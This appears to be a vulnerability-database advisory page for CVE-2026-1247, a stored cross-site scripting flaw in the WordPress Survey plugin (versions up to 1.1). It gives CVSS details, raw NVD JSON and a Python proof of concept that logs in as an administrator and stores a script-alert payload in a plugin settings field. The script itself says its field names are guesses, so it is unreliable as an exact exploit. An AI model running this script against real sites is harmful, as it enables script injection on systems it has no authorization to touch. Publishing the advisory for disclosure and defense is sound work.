Security Vulnerability Report
中文
CVE-2026-1247 CVSS 4.4 MEDIUM

CVE-2026-1247

Published: 2026-03-21 04:16:52
Last Modified: 2026-04-22 21:32:08

Description

The Survey plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Survey Plugin <= 1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-1247 # This script simulates an authenticated admin injecting XSS payload via Survey plugin settings import requests # Target configuration target_url = "http://example.com/wp-admin/admin.php?page=survey_settings" login_url = "http://example.com/wp-login.php" # Attacker credentials (Admin level required) username = "admin" password = "password" # Malicious payload to be stored xss_payload = "<script>alert('CVE-2026-1247 XSS');</script>" # Create a session to maintain cookies session = requests.Session() # 1. Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=login_data) # 2. Inject Payload via Plugin Settings # Note: Field names depend on the actual plugin implementation post_data = { 'action': 'save_settings', 'survey_title': 'Survey Title', 'survey_description': xss_payload, # Injecting XSS into description field 'submit': 'Save Changes' } response = session.post(target_url, data=post_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the frontend page displaying the survey to trigger the XSS.") else: print("[-] Failed to inject payload.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1247", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:51.877", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Survey plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}, {"lang": "es", "value": "El plugin Survey para WordPress es vulnerable a cross-site scripting almacenado a través de la configuración de administrador en todas las versiones hasta la 1.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con permisos de nivel de administrador y superiores, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada. Esto solo afecta a instalaciones multisitio e instalaciones donde se ha deshabilitado 'unfiltered_html'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/survey/tags/1.1/inc/form.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/survey/tags/1.1/inc/shortcode.php#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/survey/trunk/inc/form.php#L73", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/survey/trunk/inc/shortcode.php#L35", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4d9b6efa-b82e-4fe5-bf56-4ca49e9ebe71?source=cve", "source": "[email protected]"}]}}